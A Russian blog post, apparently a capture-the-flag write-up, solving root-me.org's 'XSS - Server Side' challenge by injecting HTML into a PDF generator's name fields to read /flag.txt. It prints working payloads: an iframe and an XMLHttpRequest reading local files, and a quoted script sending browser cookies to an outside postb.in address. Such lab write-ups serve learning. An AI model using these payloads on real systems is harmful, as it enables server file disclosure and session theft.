Несколько дней не пишу статьи. На работе завал, вечером уставший после поездки в ЦОД, совсем нет желания что-то писать. В таких случаях у меня есть три варианта:
- Ничего не делать, просто отдохнуть.
- Заняться чем-то простым, например, поиском бесплатных книг по IT для пополнения библиотеки.
- Переключиться на какое-то другое направление умственной деятельности.
Сегодня выбираю третий вариант: самое время решить задачку на информационную безопасность web-серверов. Сегодня задачка с портала root-me.org, называется "XSS - Server Side". За решение задачки дают 20 баллов, она должна быть лёгкая.
Сама задача новая, в Интернете ещё нет готовых решений. Цель задачи — познакомить нас с одним из неочевидных аспектов известной уязвимости XSS.
XSS (Cross-Site Scripting — межсайтовый скриптинг) — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника.
В нашем случае вредоносный код будет запускать не администратор или пользователь системы, а сам сервер. Это увеличивает уровень опасности уязвимости, поскольку нам не приходится гадать, откроет пользователь страничку с внедряемым скриптом или не откроет. Уж сервер точно откроет, и точно выполнит уязвимый скрипт, никто и не заметит. Так что атака легко автоматизируется.
Челендж был создан во время "HackDay 2023" CTF.
Ссылки
Решение
Кто сказал, что XSS может быть только на клиентской стороне?
Читаем задание. Имеется платформа, которая выдаёт сертификаты. Разработчики заверяют, что они опытные программисты и перед использованием пользовательского ввода экранируют его. Флаг брать в файле "/flag.txt".
Переходим на страницу задания:
Здесь какой-то генератор чего-то. Можно ввести текст. Пишу "hello" и жму кнопку Generate.
Нам генерируют PDF файл. Открываю его.
Хм, текст "hello" внутри PDF файла. Ага, у нас имеется сайт, на котором реализован функционал динамической генерации PDF файла, запомним. Вводимая текстовая переменная вставляется в этот файл.
Можно попробовать вставить вместо текста какой-то скрипт, тогда сервер, который динамически генерирует PDF, выступит в качестве клиента и выполнит наш скрипт. Получится XSS на стороне сервера. Одну точку входа для возможной атаки нашли.
И тут я немного раздвигаю экран и вижу две кнопки:
- Sign up
- Log in
Ох уж этот современный дизайн. А слона-то потеряли... У нас на сайте имеется функционал регистрации и входа.
При регистрации можно указать:
- Login
- First name
- Last name
- Password
Ещё четыре точки ввода.
Для входа требуется указать логин и пароль.
Регистрирую учётную запись с логином "aaa", паролем "aaa". Имя и фамилия тоже "aaa".
Вхожу.
Welcome, aaa, aaa! Видимо, это имя и фамилия.
Попробуем сгенерировать PDF сейчас.
Новый PDF файл немного отличается. Помимо нашего текста имеется запись вида "Мистер aaa aaa". Т.е. у нас в PDF засветились имя и фамилия. Плюс ещё две точки входа для возможной атаки.
Сразу можем проверить первую найденную точку. Попробуем сгенерировать сертификат для текста:
<script>alert(123)</script>
Атака не удалась, пользовательский ввод, действительно, экранирован. Для проверки ещё двух возможных точек ввода регистрирую пользователя, у которого имя "<script>alert(123)</script>" и фамилия "<script>alert(123)</script>".
Welcome, <script>alert(123)</script> <script>alert(123)</script>! Здесь тоже всё экранировано.
Смотрим в PDF и видим, что вместо имени и фамилии ничего нет. Получается, наш скрипт выполнился? Можем это проверить, например, отобразив в PDF картинку, взяв её с другого сайта.
Регистрирую пользователя oleg с именем "<img src="https://internet-lab.ru/sites/internet-lab.ru/files/ilab_logo_40.png" />". Это картинка нашего логотипа.
Welcome. Логинимся под ним.
Генерируем PDF.
Generate.
Красота. Мы смогли вставить в PDF картинку с другого сайта.
— Что это, Бэримор?
— Это дыра, Сэр!
Продвигаемся дальше. Раз мы можем вставить картинку с другого сайта, то можем попытаться передать на другой сайт данные в каком-то параметре URL. Мы уже делали что-то подобное при решении задачки
Там мы передавали содержимое куки браузера пользователя:
<script>location.href='https://postb.in/juk1M7LP/?hardhack='+document.cookie;</script>
Здесь нам куки не нужны, а нужен файл flag.txt. Проверим, может он в принципе доступен.
Текстовый файл снаружи не открывается, но это не значит, что он недоступен нашему генератору динамического PDF. Делаем ход конём и регистрируем пользователя с именем:
<iframe src=file:///flag.txt></iframe>
Логинимся под ним.
Генерируем PDF.
Флаг получен. Валидируем.
Получаем 20 очков.
Безопасность
Следует помнить, что XSS атака может применяться не только на клиентской стороне, но и на серверной, как в нашем случае. Вместо клиента здесь выступает скрипт-бот динамической генерации PDF файла. И не обязательно использование JavaScript в атаке, мы обошлись обычным HTML тегом iFrame. Способов атаки много, к примеру, скрипт:
<script>
x=new XMLHttpRequest; x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///flag.txt");x.send();
</script>
Популярные генераторы PDF:
- wkhtmltopdf: Open source command line tool, использует движок WebKit для конвертации HTML и CSS в PDF документ.
- TCPDF: Библиотека PHP для генерации PDF документов с поддержкой большого количества опций, включая картинки, графики и шифрование.
- PDFKit: Библиотека Node.js, которую можно использовать для генерации PDF документов из HTML и CSS.
- iText: Библиотека на Java для генерации PDF документов с поддержкой большого количества опций, включая цифровые подписи и заполнение форм.
- FPDF: Библиотека PHP для генерации PDF документов, легковесная и её легко использовать.
Много трюков здесь: